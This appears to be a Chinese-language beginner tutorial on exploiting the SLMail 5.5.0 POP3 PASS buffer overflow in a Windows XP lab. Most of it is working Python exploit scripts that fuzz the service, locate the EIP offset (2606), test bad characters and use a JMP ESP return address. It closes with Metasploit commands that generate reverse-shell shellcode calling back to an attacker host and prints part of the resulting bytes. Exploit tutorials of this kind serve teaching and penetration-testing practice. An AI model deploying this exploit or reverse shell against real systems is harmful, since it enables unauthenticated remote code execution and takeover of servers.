  • Q缓冲区溢出教程,傻瓜版的溢出教程,任何人跟着学习都能学会的
  • 缓冲区溢出:当缓冲区边界限制不严格时,由于变量传入畸形数据或程序运行错误,导致缓冲区被填满从而覆盖了相邻内存区域的数据。可以修改内存数据,造成进程劫持,执行恶意代码,获取服务器控制权限等。 在Windows ...
    一、基本概念
    缓冲区溢出:当缓冲区边界限制不严格时,由于变量传入畸形数据或程序运行错误,导致缓冲区被填满从而覆盖了相邻内存区域的数据。可以修改内存数据,造成进程劫持,执行恶意代码,获取服务器控制权限等。
    在Windows XP或2k3 server中的SLMail 5.5.0 Mail Server程序的POP3 PASS命令存在缓冲区溢出漏洞,无需身份验证实现远程代码执行。
    注意,Win7以上系统的防范机制可有效防止该缓冲区漏洞的利用:DEP。阻止代码从数据页被执行;ASLR,随机内存地址加载执行程序和DLL,每次重启地址变化。
    二、实验环境准备:
    SLMail 5.5.0 Mail Server
    ImmunityDebugger_1_85_setup.exe
    mona.py
    下载地址:
    mona手册
    实验环境:xp
    关闭防火墙
    1.安装SLMail 5.5.0邮件服务器
    将本地账户导入邮件服务器
    安装好环境之后,确认SLMail的端口是否正常开启:25 pop3端口,180web管理端口
    services.msc 查看邮件相关服务。
    2.邮件服务安装成功后,接下来安装调试工具 ImmunityDebugger
    软件会自动安装python2.7环境
    打开Immunity Debugger所在目录
    C:\Program Files\Immunity Inc\Immunity Debugger
    将mona.py复制到PyCommands目录下,
    C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands
    三、实验内容
    SLMail 5.5.0 Mail Server
    POP3 PASS 命令存在缓冲区溢出漏洞
    无需身份验证实现远程代码执行
    win7之后windows的安全防护机制
    DEP:阻止代码从数据页被执行
    ASLR:随机内存地址加载执行程序和DLL,每次重启地址变化
    使用nc验证端口连接是否正常,并且可执行pop3的一些指令
    nc 192.168.199.199 25
    nc 192.168.199.199 110
    测试 PASS 命令接收到大量数据时是否会溢出
    EIP 寄存器存放下一条指令的地址
    pop3邮件服务侦听的端口是110,进程ID是636.
    使用Immunity Debugger
    file—attach—选中pid号为636的进程—attach调用
    开始监控程序运行状态
    利用原理:“PASS”命令后,当一些特殊定制的命令输入,会造成缓冲区溢出,上传shellcode,可控制目标系统,则不需要经过身份验证,获得权限
    一、测试哪个命令会出现缓冲区溢出
    注:如何了解应用/协议能接受的固定指令:1、Wireshark 2、RFC【必须理解系统底层和协议底层】
    01.py 最简单的功能实现
    #!/usr/bin/python
    import socket
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    try:
    print “\nSending evil buffer…”
    s.connect((“192.168.199.199”,110))
    data = s.recv(1024)
    print data
    s.send(“USER Xuan”+”\r\n”)
    data = s.recv(1024)
    print data
    s.send(“PASS test\r\n”)
    data = s.recv(1024)
    print data
    s.close()
    print “\nDone”
    except:
    print “Could not connect to POP3!”
    02.py【不断增大发送量,通过Debug确定是否会溢出】【若发到数目很大,还没溢出,则可放弃】##大概确定范围
    #!/usr/bin/python
    import socket
    buffer=[“A”]
    counter=100
    while len(buffer) <= 50:
    buffer.append(“A”*counter)
    counter=counter+200
    for string in buffer:
    print “Fuzzing PASS with %s bytes” % len(string)
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    connect = s.connect((“192.168.199.199”,110))
    s.recv(1024)
    s.send(“USER test”+”\r\n”)
    s.recv(1024)
    s.send(“PASS “+string+”\r\n”)
    s.send(“QUIT\r\n”)
    s.close()
    EIP中的41是十六进制数,转换为字母就是A,也就是说此时EIP寄存器全部填满了A,ESP寄存器也被填满了A,每四个字节为一个存储单元进行存储,
    EIP就是当前邮件服务器SLmail下一个需要执行的指令的内存地址,所发送的A把下一条指令的内存地址给覆盖了,发生了缓冲区溢出。此时cpu会到EIP所在的内存地址中寻找指令代码,而该指令内存已被A全部覆盖,此时程序就会奔溃无法继续运行。
    漏洞利用:可以用shellcode填充EIP寄存器地址,这样就可能控制目标机器。
    注:每次实验完都会到时邮件服务奔溃,因此需要每次实验前都需要重新启动SLmail服务
    ##通过调试工具查看是否异常?【静态调试(汇编)、动态调试(正在运行的进程:attach)】
    110端口【SLmail】:netstat -nao【查看=系统进程的PID和端口等信息】
    ###重点关注寄存器
    #ESP:当ESP中输入数据过多,将会把EIP的内存地址覆盖
    #EIP:下一跳指令的内存地址,若下一跳指令被修改,则可执行某一地址空间,运行shellcode
    03.py 【手动尝试,找到溢出范围】
    2700个字符实现 EIP 寄存器溢出
    找到精确溢出的 4 个字节
    #!/usr/bin/python
    import socket
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    buffer = ‘A’ * 2700
    try:
    print “\nSending evil buffer…”
    s.connect((“192.168.199.199”,110))
    data = s.recv(1024)
    s.send(“USER test”+”\r\n”)
    data = s.recv(1024)
    s.send(“PASS “+buffer+”\r\n”)
    print “\nDone!.”
    except:
    print “Could not connect to POP3!”
    使用2700个字符去填充,此时程序已经奔溃,但是EIP寄存器已被我们设定的A填充满。
    使用2600个字符去填充,此时虽然程序已经奔溃,但是EIP寄存器并未被我们设定的A填充满。
    说明导致寄存器溢出的字符在2600都2700之间。
    04.py #精确定位【二分法或唯一字符串法】
    找出精确溢出的4个字节
    通常找出精确字节的方法有如下两种:
    1、二分查找法
    2、唯一字串法:
    这里为了方便便使用唯一字符串法,其可在Kali Linux的/usr/share/metasploit-framework/tools/exploit/pattern_create.rb脚本中可以生成唯一字符串:
    cd /usr/share/metasploit-framework/tools/exploit
    查看可选参数
    ./pattern_create.rb -h
    Usage: msf-pattern_create [options]
    Example: msf-pattern_create -l 50 -s ABC,def,123
    Ad1Ad2Ad3Ae1Ae2Ae3Af1Af2Af3Bd1Bd2Bd3Be1Be2Be3Bf1Bf
    Options:
    -l, –length <length> The length of the pattern
    -s, –sets <ABC,def,123> Custom Pattern Sets
    -h, –help Show this message
    root@kali:/usr/share/metasploit-framework/tools/exploit# ./pattern_create.rb -l 2700
    Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9
    生成2700个每四个字符为一组的唯一字符串,使用kali中metasploit脚本工具
    ##将这2700个字符添加进04.py脚本中,作为buffer的参数
    04.py
    #!/usr/bin/python
    import socket
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    buffer = ‘Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9’
    try:
    print “\nSending evil buffer…”
    s.connect((“192.168.199.199”,110))
    data = s.recv(1024)
    s.send(“USER test”+”\r\n”)
    data = s.recv(1024)
    s.send(“PASS “+buffer+”\r\n”)
    print “\nDone!.”
    except:
    print “Could not connect to POP3!”
    #EIP:39694438#因为在内存中数据的读写顺序与人类读写顺序相反,则此ASCII码应为38 44 69 39
    根据ASCII码表可得此4个字符为8Di9
    #计算偏移量,计算【39694438】在2700个字符中的具体位置。
    cd /usr/share/metasploit-framework/tools/exploit/
    同样先来查看需要设置的参数,偏移量使用-q参数
    root@kali:/usr/share/metasploit-framework/tools/exploit# ./pattern_offset.rb -h
    Usage: msf-pattern_offset [options]
    Example: msf-pattern_offset -q Aa3A
    [*] Exact match at offset 9
    Options:
    -q, –query Aa0A Query to Locate
    -l, –length <length> The length of the pattern
    -s, –sets <ABC,def,123> Custom Pattern Sets
    -h, –help Show this message
    root@kali:/usr/share/metasploit-framework/tools/exploit# ./pattern_offset.rb -q 39694438
    [*] Exact match at offset 2606 精确的匹配出来偏移量是2606,也就是它前面有2606个字符,即8Di9中的8是第2607个字符。
    05.py 确认是否真为此位置
    buffer = ‘A’ * 2606+’B’*4+’C’*20
    将前2606个字符替换为A,之后4个替换为B,再之后的20个字符替换为C,确认是否可以精确的把BBBB写入EIP。
    #!/usr/bin/python
    import socket
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    buffer = ‘A’ * 2606+’B’*4+’C’*20
    try:
    print “\nSending evil buffer…”
    s.connect((“192.168.199.199”,110))
    data = s.recv(1024)
    s.send(“USER test”+”\r\n”)
    data = s.recv(1024)
    s.send(“PASS “+buffer+”\r\n”)
    print “\nDone!.”
    except:
    print “Could not connect to POP3!”
    执行结果显示EIP为42424242,转换为字母就是BBBB,20个C精准被填入ESP.
    思路:将EIP修改为shellcode代码的内存地址,将shellcode写入到该地址空间,程序读取EIP寄存器数值,将跳转到shellcode代码段并执行。
    #寻找可存放shellcode的内存空间(考虑ESP),修改EIP使其指向ESP所在的shellcode内存空间。
    06.py【手动修改C数值,判断内存空间大小是否能放一下shellcode,假设ESP寄存器可放3500】
    buffer = ‘A’ * 2606+’B’*4+’C’*(3500-2606+4) 让C去填满ESP的内存空间,判断C的个数。
    #!/usr/bin/python
    import socket
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    buffer = ‘A’ * 2606+’B’*4+’C’*(3500-2606+4)
    try:
    print “\nSending evil buffer…”
    s.connect((“192.168.199.199”,110))
    data = s.recv(1024)
    s.send(“USER test”+”\r\n”)
    data = s.recv(1024)
    s.send(“PASS “+buffer+”\r\n”)
    print “\nDone!.”
    except:
    print “Could not connect to POP3!”
    #选择ESP,右键:follow in dump
    右键–Hex–Hex/ASCII 16bytes,使用每行16个字节来显示,这样可以方便查看。
    ##ESP起始地址为:0167A154 终止地址为:0167A2F4
    #使用科学计算器,windows下,calc->查看->科学型->十六进制,因为所有的地址的前5位都一致,因此使用结束地址0167A2F4的后三位2F4减去开始地址0167A154的后三位154,结果再转化为十进制,得结果为416
    #最小的shellcode为300字节左右,因此ESP足够放下一个shellcode
    #在做模糊测试过程中,因为不同类型的程序、协议、漏洞,会将某些字符认为是坏字符,,这些字符有固定用途。如:null byte (0x00)空字符,用于终止字符串的拷贝操作;return (0x0D)回车操作,表示POP3 PASS指令操作完毕。注:返回地址、shellcode、buffer都不能出现坏字符
    07.py【思路:发送0x00-0xff 256个字符,查找所有的坏字符】
    即二进制数00000000—11111111,共有256种组合。
    0 — 255
    #!/usr/bin/python
    import socket
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    badchars = (
    “\x01\x02\x03\x04\x05\x06\x07\x08\x09\x09\x0b\x0c\x0d\x0e\x0f\x00”
    “\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x10”
    “\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x20”
    “\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x30”
    “\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\4e\x4f\x40”
    “\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x50”
    “\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x60”
    “\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x70”
    “\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x80”
    “\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\x90”
    “\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xa0”
    “\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xb0”
    “\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xc0”
    “\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xd0”
    “\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xe0”
    “\xe1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xf0”
    )
    buffer = “A”*2606 + “B”*4 + badchars
    try:
    print “\nSending evil buffer…”
    s.connect((“192.168.199.199”,110))
    data = s.recv(1024)
    s.send(“USER test”+”\r\n”)
    data = s.recv(1024)
    s.send(“PASS “+buffer+”\r\n”)
    print “\nDone!.”
    except:
    print “Could not connect to POP3!”
    #右键follow in dump
    #此字符后,数据显示异常,则该字符(0A)可能有问题,进行下一步验证
    修改0A为某一正常字符如09,重新发送验证,
    0A替换为09可正常运行。
    #验证得0A 为坏字符 ;0D为坏字符不出现,缩进一格,全部检查,发现00也被过滤,则可发现该实验中坏字符为:0x00 0x0D 0x0A
    重定向数据流,用ESP的地址替换EIP的值,但是ESP的地址是变化的,不能使用硬编码。在SLMali线程应用程序中,操作系统为每个线程分配一段的地址范围,每个线程地址范围不确定
    变通思路:在内存地址中寻找固定的系统模块,在模块中寻找JMP ESP指令的地址跳转,再由该指令简介跳转到ESP,从而执行shellcode。利用mona.py脚本识别内存模块,搜素“return address”是JMP ESP指令的模块,寻找无DEP、ALSP保护的内存地址【内存地址不能包含坏字符】{从EIP跳到JMP ESP,再跳到ESP}
    #输入!mona modules 查找模块【选择前四个模块为false,最后一个OS dll为true】
    !mona modules
    这里我们主要关注Rebase,true表示重后内存地址值改变,false表示重启后不变。
    safeSEH和ASLR是计算机内存保护机制。理想的环境内存保护机制都是false。
    OS dll:操作系统动态连接库,表示可运行在任意系统中,若为false则可能在其他系统中不能运行
    JMP ESP是汇编指令,需要使用kali将其转换为二进制。
    root@kali:~# cd /usr/share/metasploit-framework/tools/exploit/
    root@kali:/usr/share/metasploit-framework/tools/exploit# ./nasm_shell.rb
    !mona find -s “\xff\xe4” -m openc32.dll【在该进程模块查找是否有执行JMP ESP的命令】
    【JMP ESP为汇编指令,需转换为二进制指令FFE4】
    #nasm_shell.rb脚本的作用就是用来转换汇编指令
    openc32.dll进程模块中没有可以执行JMP ESP的命令
    !mona find -s “\xff\xe4” -m MFC42LOC.dll 还是不支持!
    继续查找并尝试
    ok,SLMFC.DLL支持执行JMP ESP的命令,并且有20个内存地址可以执行。
    双击打开一个内存地址,右键—Disassemble将16进制切换为汇编语言,
    可以看到16进制FFE4对应的汇编JMP ESP。
    打开内存地图,找到SLMFC模块的基地址5F400000,可以看到该内存中存放的是一个pe文件头。
    5F401000存放code
    给5F4B41E3设置断点,当运行到此处中断程序的执行。
    选择内存地址—右键—breakpoint—memory,on access—开启运行程序
    08.py【验证断点是否正常跳转】
    #因为计算机读取数据为翻转【为跳转地址】
    5F4B41E3,内存里面存放数据时完全反转进行放置的即:E3 41 4B 5F
    buffer = ‘A’ * 2606 + “\xe3\x41\x4b\x5f” + “C” *390
    #!/usr/bin/python
    import socket
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    buffer = ‘A’ * 2606 + “\xe3\x41\x4b\x5f” + “C” *390
    try:
    print “\nSending evil buffer…”
    s.connect((“192.168.199.199”,110))
    data = s.recv(1024)
    s.send(“USER test”+”\r\n”)
    data = s.recv(1024)
    s.send(“PASS “+buffer+”\r\n”)
    print “\nDone!.”
    except:
    print “Could not connect to POP3!”
    当执行内存5F4B41E3时遇到断点!
    EIP指定了5F4B41E3地址,该地址会跳转到SLMFC模块里的JMP ESP指令,
    F7:程序调试过程中的单步向前运行的指令
    01AFA154,该地址中存放的都是C.
    #将脚本里的shellcode替换成shellcode,则可获得控制
    Shellcode
    可用Scapy编写,也可用./msfpayload -l自动生成shellcode【该工具中含有大量针对各种系统的shellcode】
    ###正向开后门基本杜绝,要进行反向开后门
    root@kali:~# cd /usr/share/framework2/
    root@kali:/usr/share/framework2# ./msfpayload win32_reverse LHOST=192.168.199.112 LPORT=444 C
    “\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45”
    “\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49”
    “\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d”
    “\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66”
    “\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61”
    “\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40”
    “\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32”
